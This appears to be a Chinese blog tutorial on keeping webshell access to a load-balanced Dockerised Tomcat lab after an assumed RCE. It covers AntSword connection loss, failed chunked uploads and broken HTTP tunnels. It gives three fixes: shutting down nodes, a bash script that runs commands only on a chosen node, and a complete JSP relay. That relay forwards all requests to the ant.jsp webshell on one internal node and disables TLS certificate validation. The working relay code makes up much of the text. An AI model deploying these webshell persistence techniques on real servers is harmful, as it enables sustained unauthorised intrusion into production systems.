负载均衡下的webshell

文章目录

1.场景描述

当前手里有一个以docker部署的Tomcat负载均衡环境。主机对外ip和端口为192.168.100.130:18080

我们假设其为一个真实的业务系统,存在一个rce漏洞,可以让我们获取webshell

假设目标根目录下已经有了自己上传的木马文件ant.jsp

2.在蚁剑里添加 Shell

测试能够成功是因为我在两个节点均上传了木马文件,但实际场合可能不止一两台,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,所以需要注意的一点就是需要将每一台节点的相同位置都上传同样的木马文件

3.因为负载均衡而出现的问题

问题1:正如上述所说,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,解决方法很简单,因为已经有了上传木马的漏洞,故只需要需要将每一台节点的相同位置都上传同样的木马文件

问题2:因为两个节点不断交替,所以我们在执行命令时,无法知道下次的请求交给哪台机器去执行

问题3:当我们需要在服务器上上传一些工具时,可能传到一半就切换到了另一台服务器,毕竟是采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,最后只能两个服务器均得到一部分残缺文件

问题4:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

4.问题解决方案

4.1 方案1

关掉其中一台服务

本次实验中是关掉1台服务器,但放到现实中恐怕要关掉几台几十台服务器才能完成只保留一台机器的目的,虽然能达成解决问题的目的,但造成的影响恐怕有点大,真实环境千万别试

4.2 方案2

写一个判断机器的脚本,如果是自己想要操作的机器就执行,不是就不执行

c 复制代码
myip=`hostname -i | awk '{print $2}'`
if [ $myip == "127.0.0.1" ];then
        echo "Node1. I will execute command.\n======\n"
        hostname -i
else
        echo "Other. Try again."
fi

差不多是这样的模式,但它只能解决命令执行问题

4.3 方案3

在web层做一次流量转发

所有流量转发到一台机器上

转发脚本命令如下

c 复制代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

不能用上传文件可能会有分片,只能选择新建再保存

多保存几次保证两台服务器上均有文件
然后用转发脚本重新登录

最后结果无论访问到哪台机器均会转发至172.0.0.2

相关推荐
。puppy17 分钟前
HCIP--3实验- 链路聚合,VLAN间通讯,Super VLAN,MSTP,VRRPip配置,OSPF(静态路由,环回,缺省,空接口),NAT
运维·服务器
颇有几分姿色27 分钟前
深入理解 Linux 内存管理:free 命令详解
linux·运维·服务器
光芒再现dev44 分钟前
已解决,部署GPTSoVITS报错‘AsyncRequest‘ object has no attribute ‘_json_response_data‘
运维·python·gpt·语言模型·自然语言处理
AndyFrank1 小时前
mac crontab 不能使用问题简记
linux·运维·macos
成都古河云2 小时前
智慧场馆:安全、节能与智能化管理的未来
大数据·运维·人工智能·安全·智慧城市
算法与编程之美2 小时前
文件的写入与读取
linux·运维·服务器
Amelio_Ming2 小时前
Permissions 0755 for ‘/etc/ssh/ssh_host_rsa_key‘ are too open.问题解决
linux·运维·ssh
心灵彼岸-诗和远方2 小时前
Devops业务价值流:软件研发最佳实践
运维·产品经理·devops
JuiceFS3 小时前
好未来:多云环境下基于 JuiceFS 建设低运维模型仓库
运维·云原生
Ven%3 小时前
centos查看硬盘资源使用情况命令大全
linux·运维·centos